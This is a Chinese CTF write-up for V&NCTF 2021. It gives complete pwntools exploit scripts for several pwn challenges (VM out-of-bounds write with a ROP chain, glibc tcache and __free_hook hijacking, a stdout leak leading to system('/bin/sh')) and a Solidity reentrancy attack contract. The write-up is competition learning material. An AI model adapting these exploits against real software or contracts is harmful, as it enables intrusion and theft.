V&NCTF 2021 Writeup

by Ainevsia

这次比赛就做出来了一道pwn题和区块链的题目,另外的三道pwn没有什么思路,XD。

把做出来的两道简单记录一下。

hh / Pwn

自定义虚拟机题目,加了seccomp,除了execve其他syscall都可以。

1
2
3
4
5
6
7
8
9
10
line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

一开始想错了,想用他实现的printf进行libc泄露的,但是算了一下sp往上推的时候是会覆盖到原来的值的,sp也之只能是连续变化的,不会跳变,所以这种思路不行。

后来发现有oob

1
2
3
4
5
6
case 0xDu:                                // assign
v11 = ins_ptr++;
data_offset = ins_buf[v11];
val_offset = sptr--;
mem[data_offset] = stack[val_offset]; // oob write
break;

OOB 改rip泄漏libc,ROP执行open read write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/python

from pwn import *
context.log_level=logging.DEBUG
context.terminal=['tmux','new-window']
context.arch='amd64'
LOCAL=0

if LOCAL:
p=process('./hh')
else:
p=remote('node3.buuoj.cn',26279)

def loadbuf(content: [int]):
p.sendlineafter(':\n','1')
p.sendlineafter('code:',flat(content,word_size=32))

def execute():
p.sendlineafter(':\n','2')


pop_rdi_ret = 0x00000000004011a3
puts_plt = 0x4006F0
start = 0x400750
puts_got = 0x601FA8

push = 0x9
jmpz = 0x8
puts = 0xe
assn = 0xd

ins = [push, pop_rdi_ret] # first pop rdi
ins += [assn, (0x1f50 + 0x8) // 4] # offset to saved rip
ins += [push, 0]
ins += [assn, (0x1f50 + 0x8 + 4) // 4]
ins += [push, puts_got]
ins += [assn, (0x1f50 + 0x10) // 4] # value of rdi
ins += [push, 0]
ins += [assn, (0x1f50 + 0x10 + 4) // 4]
ins += [push, puts_plt]
ins += [assn, (0x1f50 + 0x18) // 4] # call puts
ins += [push, 0]
ins += [assn, (0x1f50 + 0x18 + 4) // 4]
ins += [push, start]
ins += [assn, (0x1f50 + 0x20) // 4] # replay
ins += [push, 0]
ins += [assn, (0x1f50 + 0x20 + 8) // 4]

loadbuf(ins)
execute()

gidx = (0x1f50 + 0x8) // 4
gins = []

def appendrop(val: int):
global gidx, gins
gins += [push, val & 0xffffffff]
gins += [assn, gidx]
gidx += 1
gins += [push, (val >> 32) & 0xffffffff]
gins += [assn, gidx]
gidx += 1

base=u64(p.recvline().rstrip().ljust(8,b'\x00'))-0x6f6a0

bufbase = 0x602060

open_ = base + 0xf70f0
read_ = base + 0xf7310
write = base + 0xf7370
pop_rsi_ret = base + 0x00000000000202f8
pop_rdx_ret = base + 0x0000000000001b92


lst = [pop_rdi_ret, bufbase + 0x264, pop_rsi_ret, 0, open_]
lst += [pop_rdi_ret, 3, pop_rsi_ret, bufbase, pop_rdx_ret, 0x40, read_]
lst += [pop_rdi_ret, 1, pop_rsi_ret, bufbase, pop_rdx_ret, 0x40, write]

for i in lst:
appendrop(i)

# attach(p,'b *0x401083\nc')

gins += [16, int.from_bytes(b'flag', 'little') ,0]
loadbuf(gins)
execute()


p.interactive()

catcatcat / Blockchain

contract-library上反编译出的结果真的挺好看的。

反编译结果贴一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
// Decompiled at www.contract-library.com
// 2021.03.14 02:43 UTC

// Data structures and variables inferred from the use of storage instructions
mapping (uint256 => [uint256]) owner_0; // STORAGE[0x0]
mapping (uint256 => [uint256]) _value; // STORAGE[0x1]
mapping (uint256 => [uint256]) _done; // STORAGE[0x2]


function 0x74772eb3(uint256 varg0) public nonPayable {
return 0xff & owner_0[varg0];
}

function done(address _owner) public nonPayable {
return 0xff & _done[_owner];
}

function transfer(address receiver, address dede) public nonPayable {
require(0xff & _done[receiver] == 0);
require(0xff & _done[address(0xffffffffffffffffffffffffffffffffffffffff & dede)] == 1);
_done[receiver] = 0x1 | ~0xff & _done[receiver];
_done[address(0xffffffffffffffffffffffffffffffffffffffff & dede)] = 0x0 | ~0xff & _done[address(0xffffffffffffffffffffffffffffffffffffffff & dede)];
}

function check(address gem) public nonPayable {
v0 = 0x666(gem);
return v0;
}

function 0x666(uint256 varg0) private {
require(msg.sender & 0xff == 33);
v0 = address(varg0);
return _value[v0];
}

function fallback() public payable {
revert();
}

function 0x39b4b0d6() public nonPayable {
require(0xff & _done[msg.sender] == 0);
require(msg.sender.code.size);
v0, v1 = msg.sender.bet().gas(msg.gas);
if (v0) {
require(RETURNDATASIZE() >= 32);
if (v1 == block.blockhash(block.number - 1) % 99) {
_value[msg.sender] = _value[msg.sender] + 1000;
_done[msg.sender] = 0x1 | ~0xff & _done[msg.sender];
}
exit;
}
}

function 0x4804a623() public nonPayable {
v0 = 0x666(msg.sender);
require(v0 >= 2000);
owner_0[msg.sender] = 0x1 | ~0xff & owner_0[msg.sender];
}

function value(address varg0) public nonPayable {
return _value[varg0];
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__(uint32 function_selector) public payable {
MEM[64] = 128;
if (msg.data.length >= 4) {
if (0x39b4b0d6 == function_selector) {
0x39b4b0d6();
} else if (0x4804a623 == function_selector) {
0x4804a623();
} else if (0x69f9d91c == function_selector) {
value(address);
} else if (0x74772eb3 == function_selector) {
0x74772eb3();
} else if (0x7be8f86b == function_selector) {
done(address);
} else if (0xba45b0b8 == function_selector) {
transfer(address,address);
} else if (0xc23697a8 == function_selector) {
check(address);
}
}
fallback();
}

0x39b4b0d6这个函数可以重入,因为再调用外部函数之前没有把_done提前修改掉。

合约地址必须要以0x21结尾,用下面这个脚本生成一个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import blocksmith
from Crypto.Hash import keccak

while True:
kg = blocksmith.KeyGenerator()
kg.seed_input('')
key = kg.generate_key()
address = blocksmith.EthereumWallet.generate_address(key)
checksum_address = blocksmith.EthereumWallet.checksum_address(address)

pay = b'\xd6\x94' + bytes.fromhex(address[2:]) + b'\x80'

contract_addr = '0x' + keccak.new(digest_bits=256).update(pay).hexdigest()[-40:]
if contract_addr[-2:] == '21':
print(key)
print(checksum_address)
print(contract_addr)
break

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.6.0;


contract Hacker {

address payable owner ;

bool has_called = false;

address target = 0xAEa0714A8793E2684DE7F508577d7EC3F40F283a;

constructor () public {
owner = msg.sender;
}

function bet() public returns (uint) {
if (has_called == false) {
has_called = true;
target.call(abi.encode(bytes4(0x39b4b0d6)));
return ((uint256)(blockhash(block.number - 1))) % 99;
} else {
return ((uint256)(blockhash(block.number - 1))) % 99;
}
}

function getflag() public {
target.call(abi.encode(bytes4(0x4804a623))); // getflag
}

function attack() public {
target.call(abi.encode(bytes4(0x39b4b0d6))); // Reentrancy
}

function destruct() public {
require(msg.sender == owner, "not valid owner");
selfdestruct(owner);
}

}

赛后做出来的题

White Give Flag

出题人说这道题是白给题,不提供libc说明不需要libc。

利用read遇到EOF返回0,read大整数返回负数,进行泄露已经读入程序内存的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/python

from pwn import *
context.log_level=logging.INFO
context.terminal=['tmux','new-window']
context.arch='amd64'
LOCAL=0

while True:
if LOCAL:
p=process('./White_Give_Flag')
else:
p=remote('node4.buuoj.cn',39123)

def add(size: int):
p.sendlineafter('choice:','')
p.sendlineafter('size:\n',str(size))

def edit(idx: int):
p.sendlineafter('choice:','xxx')
p.sendafter('index:\n',str(idx))
p.sendafter('Content:\n',b'x'*0x10)

def delete(idx: int):
p.sendlineafter('choice:','xx')
p.sendlineafter('index:\n',str(idx))

add(0x330)
add(0x330)
add(0x330)

add(0x310)
# attach(p,'b *$rebase(0x1221)\nb *$rebase(0x11E7)')
# pause()
edit(3)

p.shutdown('send')

p.recvuntil(b'x'*0x10)
res=p.recvline()
if b'ctf' in res:
print(res)
break
p.close()
# break

Little Red Flower

比赛的时候不会做,赛后复现

梳理函数流程:

  • 加入seccomp,ban了execve,libc的地址已知。
  • malloc 0x200大小的chunk
  • 给了任意地址写1字节的能力
  • chunk偏移unsigned int的offset oob 写8字节 (显然是top chunk)— 为了让我们在合适的地方布置一个合适的指针。
  • malloc 0x1000-0x2000 的chunk, read读入,然后free

Ubuntu GLIBC 2.30-0ubuntu2.2

main函数无法正常return,根据wp,需要在free之前就劫持free_hook。 之后要做open read write

利用的思路是将TCACHE_MAX_BINS设置成一个非常大的数,那么malloc的时候如果对应的count不会零就会从之后越界的地址上返回一个指针给我们。

这道题学会的最亮点的东西是劫持freehook 迁移栈rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/python

from pwn import *
context.log_level=logging.DEBUG
context.terminal=['tmux','new-window']
context.arch='amd64'
LOCAL=0

if LOCAL:
p=process('./pwn')
else:
p=remote('node3.buuoj.cn',26963)

p.recvuntil('GIFT: 0x')
base=int(p.recvline().rstrip().decode(),0x10)-0x00000000001eb6a0
p.success('base: '+hex(base))
free_hook=base+0x00000000001edb20
mp_=base+(0x7ffff7fc2280-0x7ffff7dd8000)
tcache_bins=mp_+80
p.success('free_hook: '+hex(free_hook))

# step 1 attack TCACHE_MAX_BINS
p.sendafter('anywhere\n',p64(tcache_bins+7))
p.sendafter('what?\n',p8(0xff))


size=0x14a0-0x8
offset=0x555555759ad0-0x5555557592a0 # target ptr address - chunk start address
p.success('offset: '+hex(offset))


# prepare a free chunk at __free_hook
p.sendlineafter('Offset:\n',str(offset))
p.sendafter('Content:\n',p64(free_hook))

# next malloc returns __free_hook
p.sendlineafter('size:\n',str(size))


call_rdi_plus_0x20=base+0x0000000000034fd5 # mov rax, qword ptr [rdi + 0x20] ; mov rbp, rdi ; call rax
leave=base+0x000000000005a9a8 # leave ; ret
pop3=base+0x0000000000026bad # pop r13 ; pop r14 ; pop r15 ; ret
data=base+(0x7ffff7fc2000-0x7ffff7dd8000)
open_=base+0x0000000000110f10
read=base+0x00000000001111f0
write=base+0x0000000000111290
pop_rdi=base+0x0000000000026bb2
pop_rsi=base+0x000000000002709c
pop_rdx_r12=base+0x000000000011c3b1

# attach(p,'b *0x7ffff7e0cfd5')

payload=[call_rdi_plus_0x20,pop3,int.from_bytes(b'flag','little'),0,leave]
payload+=[pop_rdi,free_hook+0x10,pop_rsi,0,open_]
payload+=[pop_rdi,3,pop_rsi,data,pop_rdx_r12,0x100,0,read]
payload+=[pop_rdi,1,pop_rsi,data,pop_rdx_r12,0x100,0,write]


p.sendlineafter('>>',flat(payload))
p.interactive()

ff

非常明显的uaf,有悬挂指针存在

不得不说,真的好巧妙啊!

进攻tcache_perthread_struct,来获得libc泄露的方法++

牛皮!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/python

from pwn import *
context.log_level=logging.INFO
context.terminal=['tmux','new-window']
context.arch='amd64'
LOCAL=1

if LOCAL:
p=process('./pwn')
else:
p=remote('node3.buuoj.cn',28129)

def add(size, content=b'a'):
p.sendlineafter('>>','1')
p.sendlineafter('Size:\n',str(size))
p.sendafter('Content:\n',content)

def delete():
p.sendlineafter('>>','2')

def show():
p.sendlineafter('>>','3')

def edit(content):
p.sendlineafter('>>','5')
p.sendafter('Content:\n',content)

add(0x70)
delete()
show() # use the only show to leak the tcache_perthread_struct address (heapbase)
heapbase=u64(p.recv(8))<<12
tcache=heapbase+0x10
edit(flat([0,0])) # use the first edit to clear the key of tcache so we can double free
delete()
edit(flat([tcache^(heapbase>>12),tcache])) # use the second edit to point fd -> tcache_perthread_struct

add(0x70)
# we are going to free tcache_perthread_struct (size 0x290)
# so first mark tcache[0x290] to 7 to prevent it falling into tcache bin
# instead, freeing tcache_perthread_struct will fall into unsorted bin
payload=b'\x00\x00'*(0x29-2)+b'\x07\x00'
add(0x70,payload)
delete()

# now mallocing from tcache_perthread_struct

# Due to 0x20 0x30 0x40 's counts field is overwritten by a libc address, we can only malloc 0x50 size chunk
# mark tcache[0x50] to 1 and tcache[0x80] to 1
add(0x48,(b'\x00\x00'*3+b'\x01\x00'+b'\x00\x00'*2+b'\x01\x00').ljust(0x48,b'\x00'))

# Next alloc 0x40 chunk
add(0x38,b'\x00'*0x38)
add(0x18,p64(0)+b'\xc0\x16') # 0x7ffff7fc16c0 <_IO_2_1_stdout_>

# now 0x50 [ 1]: 0x7ffff7fc16c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
# points to _IO_2_1_stdout_
# malloc 0x50 chunk
add(0x48,p64(0xfbad1800)+p64(1)*3+b'\x00')


base=u64(p.recv(8))-(0x7ffff7fc1744-0x7ffff7ddd000)
p.success('base:'+hex(base))
system=base+(0x7ffff7e2d3c0-0x7ffff7ddd000)
free_hook=base+(0x7ffff7fc3e40-0x7ffff7ddd000)

# stdout behavior changes ?
def add(size, content=b'a'):
p.sendlineafter('>>','1')
p.sendlineafter('Size:',str(size))
p.sendafter('Content:',content)

# attack free_hook to system
add(0x28,p64(free_hook))
add(0x78,p64(system))
# attach(p,'b malloc\nb free\n')

# shoot
add(0x18,b'/bin/sh\x00')
delete()

# need brute force

p.interactive()